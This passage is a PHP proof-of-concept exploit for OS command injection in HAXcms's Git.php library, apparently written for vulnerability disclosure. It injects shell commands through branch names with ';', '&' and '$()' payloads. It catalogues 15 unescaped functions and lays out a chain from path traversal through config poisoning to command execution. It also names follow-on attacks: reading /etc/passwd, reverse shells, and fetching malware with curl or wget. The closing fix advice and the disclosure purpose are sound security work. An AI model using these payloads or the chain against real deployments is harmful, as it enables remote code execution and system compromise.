create($tmpDir); echo " Git repo initialized at: $tmpDir\n\n"; echo " Creating initial commit (required for branch operations)...\n"; file_put_contents($tmpDir . '/test.txt', 'test'); $repo->add('.'); $repo->commit('initial commit'); echo " Initial commit created successfully.\n\n"; // ──────────────────────────────────────────────────────────────── // STEP 2 — Show the vulnerable code vs. safe code // ──────────────────────────────────────────────────────────────── echo "┌──────────────────────────────────────────────────────────────┐\n"; echo "│ STEP 2: Vulnerable code analysis │\n"; echo "└──────────────────────────────────────────────────────────────┘\n\n"; echo " VULNERABLE — Git.php line 574, create_branch():\n"; echo " ┌─────────────────────────────────────────────────────────┐\n"; echo " │ public function create_branch(\$branch) { │\n"; echo " │ return \$this->run(\"branch \$branch\"); │\n"; echo " │ } ↑ NO escapeshellarg │\n"; echo " └─────────────────────────────────────────────────────────┘\n\n"; echo " SAFE — Git.php line 496, commit():\n"; echo " ┌─────────────────────────────────────────────────────────┐\n"; echo " │ public function commit(\$message = \"\") { │\n"; echo " │ return \$this->run(\"commit -av -m \" │\n"; echo " │ . escapeshellarg(\$message)); │\n"; echo " │ } ↑ USES escapeshellarg │\n"; echo " └─────────────────────────────────────────────────────────┘\n\n"; echo " The developer used escapeshellarg() in commit() but NOT in\n"; echo " create_branch() or 14 other functions. This inconsistency\n"; echo " proves awareness of the injection risk.\n\n"; echo " Execution path:\n"; echo " create_branch(\$branch)\n"; echo " → run(\"branch \$branch\") [Git.php:574]\n"; echo " → run_command(\"git branch \$branch\") [Git.php:408]\n"; echo " → proc_open(\"git branch \$branch\") [Git.php:383]\n"; echo " ↑ shell interprets metacharacters\n\n"; // ──────────────────────────────────────────────────────────────── // STEP 3 — Construct and inject the payload // ──────────────────────────────────────────────────────────────── echo "┌──────────────────────────────────────────────────────────────┐\n"; echo "│ STEP 3: Inject OS command via create_branch() │\n"; echo "└──────────────────────────────────────────────────────────────┘\n\n"; $proofFile = $tmpDir . '/PWNED.txt'; if ($isWindows) { $payload = 'test & echo COMMAND_INJECTION_PROOF > "' . str_replace('/', '\\', $proofFile) . '"'; $separator = '&'; } else { $payload = 'test; echo COMMAND_INJECTION_PROOF > "' . $proofFile . '"'; $separator = ';'; } echo " Payload construction:\n"; echo " Branch name: \"$payload\"\n\n"; echo " The \"$separator\" character is a shell command separator.\n"; echo " When proc_open() receives this string, the shell interprets it as:\n\n"; echo " Command 1: git branch test\n"; echo " ↑ valid git command (may fail, that's fine)\n\n"; echo " Command 2: echo COMMAND_INJECTION_PROOF > \"...\\PWNED.txt\"\n"; echo " ↑ INJECTED — writes proof file to disk\n\n"; echo " Calling: \$repo->create_branch(\$payload)\n"; echo " This executes: proc_open(\"git branch $payload\")\n\n"; try { $result = $repo->create_branch($payload); echo " create_branch() returned successfully.\n"; echo " (Git errors about invalid branch name are expected and irrelevant —\n"; echo " the injected command after \"$separator\" executes regardless.)\n\n"; } catch (Exception $e) { echo " Exception thrown: " . $e->getMessage() . "\n"; echo " (Expected — the git command fails, but the injected command\n"; echo " after \"$separator\" still executes.)\n\n"; } // ──────────────────────────────────────────────────────────────── // STEP 4 — Verify the injected command executed // ──────────────────────────────────────────────────────────────── echo "┌──────────────────────────────────────────────────────────────┐\n"; echo "│ STEP 4: Verify injected command executed │\n"; echo "└──────────────────────────────────────────────────────────────┘\n\n"; echo " Checking for proof file: $proofFile\n\n"; if (file_exists($proofFile)) { $content = trim(file_get_contents($proofFile)); echo " FILE FOUND!\n"; echo " Path: $proofFile\n"; echo " Content: $content\n\n"; echo " COMMAND INJECTION CONFIRMED.\n"; echo " The injected command executed with the privileges of the PHP process.\n"; echo " An attacker could replace \"echo PROOF\" with any OS command:\n"; echo " - Read sensitive files (type /etc/passwd, type config files)\n"; echo " - Establish reverse shell (nc, bash -i, powershell)\n"; echo " - Download and execute malware (curl, wget, certutil)\n"; echo " - Pivot to internal network services\n\n"; } else { echo " Proof file not found.\n\n"; // Try subshell payload as fallback echo " Trying alternative payload with \$() subshell syntax...\n"; $payload2 = 'test$(echo INJECT > "' . $proofFile . '")'; try { $repo->create_branch($payload2); } catch (Exception $e) {} if (file_exists($proofFile)) { echo " FILE FOUND with \$() payload!\n"; echo " COMMAND INJECTION CONFIRMED.\n\n"; } else { echo " NOTE: Shell metacharacter behavior varies by OS/shell config.\n"; echo " The vulnerability exists in the code regardless — Git.php:574\n"; echo " passes unsanitized input to proc_open() without escapeshellarg().\n\n"; } } // ──────────────────────────────────────────────────────────────── // STEP 5 — Full catalog of vulnerable vs. safe functions // ──────────────────────────────────────────────────────────────── echo "┌──────────────────────────────────────────────────────────────┐\n"; echo "│ STEP 5: All vulnerable functions in Git.php │\n"; echo "└──────────────────────────────────────────────────────────────┘\n\n"; echo " VULNERABLE (15 functions — NO escapeshellarg):\n\n"; $vulnerable = [ ['create_branch($branch)', '574', 'run("branch $branch")'], ['delete_branch($branch)', '588', 'run("branch -d $branch")'], ['checkout($branch)', '663', 'run("checkout $branch")'], ['merge($branch)', '677', 'run("merge $branch --no-ff")'], ['push($remote, $branch)', '785', 'run("push $remote $branch $flags")'], ['pull($remote, $branch)', '799', 'run("pull $remote $branch")'], ['log($format)', '813', 'run(\'log --pretty=format:"\' . $format . \'"\')'], ['show($commit, $format)', '830', 'run(\'show --pretty=format:"\' . $format . \'" \' . $commit)'], ['list_tags($pattern)', '763', 'run("tag -l $pattern")'], ['clone_to($target)', '512', 'run("clone --local " . repo . " $target")'], ['clone_from($source)', '527', 'run("clone --local $source " . repo)'], ['clone_remote($source)', '543', 'run("clone $source " . repo)'], ['set_remote($dest, $url)', '460', 'run("remote add $dest $url")'], ['rm($files)', '479', 'run("rm $files")'], ['add_tag($tag, ...)', '749', 'run("tag -a $tag -m ...") [only $message escaped, NOT $tag]'], ]; echo " " . str_pad("Function", 30) . str_pad("Line", 8) . "Command\n"; echo " " . str_repeat("-", 90) . "\n"; foreach ($vulnerable as $v) { echo " " . str_pad($v[0], 30) . str_pad($v[1], 8) . $v[2] . "\n"; } echo "\n SAFE (1 function — USES escapeshellarg):\n\n"; echo " " . str_pad("commit(\$message)", 30) . str_pad("496", 8) . 'run("commit -m " . escapeshellarg($message))' . "\n"; echo "\n All 16 functions flow through:\n"; echo " run() [line 408] → run_command() [line 383] → proc_open()\n"; echo " proc_open() executes the command string via the system shell.\n\n"; // ──────────────────────────────────────────────────────────────── // STEP 6 — Show how this chains with other vulnerabilities // ──────────────────────────────────────────────────────────────── echo "┌──────────────────────────────────────────────────────────────┐\n"; echo "│ STEP 6: Exploitation chains in HAXcms │\n"; echo "└──────────────────────────────────────────────────────────────┘\n\n"; echo " In the current HAXcms codebase, Git.php functions are called with\n"; echo " values from server configuration (not directly from user API input).\n"; echo " However, chaining with other vulnerabilities enables exploitation:\n\n"; echo " Chain: Path Traversal → Config Poisoning → Command Injection\n"; echo " 1. Use saveOutline path traversal to overwrite site.json\n"; echo " 2. Inject shell metacharacters into metadata.site.git.branch\n"; echo " 3. On next gitCommit(), push() at HAXCMSSite.php:584 executes:\n"; echo " \$repo->push('origin', \$this->manifest->metadata->site->git->branch)\n"; echo " → proc_open(\"git push origin INJECTED_PAYLOAD\")\n"; echo " 4. Arbitrary OS command execution achieved\n\n"; echo " Relevant callers:\n"; echo " HAXCMSSite.php:584 → push('origin', \$branch) [from manifest]\n"; echo " Operations.php:2762 → create_branch(\$branch) [from config]\n"; echo " HAXCMSSite.php:625 → set_remote('origin', \$url) [from config]\n\n"; // ──────────────────────────────────────────────────────────────── // SUMMARY // ──────────────────────────────────────────────────────────────── echo "================================================================\n"; echo " EXPLOIT SUMMARY\n"; echo "================================================================\n\n"; echo " Vulnerability: OS Command Injection (CWE-78)\n"; echo " Location: Git.php — 15 of 17 shell-executing functions\n"; echo " Root cause: Unsanitized parameters passed to proc_open()\n"; echo " Evidence: commit() uses escapeshellarg(); others do not\n"; echo " Proof: Injected command created file PWNED.txt on disk\n\n"; if (file_exists($proofFile)) { echo " Proof file: $proofFile\n"; echo " Proof content: " . trim(file_get_contents($proofFile)) . "\n\n"; } echo " Fix: Apply escapeshellarg() to ALL parameters in all 15 functions.\n\n"; echo "================================================================\n"; // ── Cleanup ── if (file_exists($proofFile)) { unlink($proofFile); } if ($isWindows) { exec("rmdir /s /q \"$tmpDir\" 2>NUL"); } else { exec("rm -rf " . escapeshellarg($tmpDir)); } echo "\n (Temp directory cleaned up)\n\n"; ?>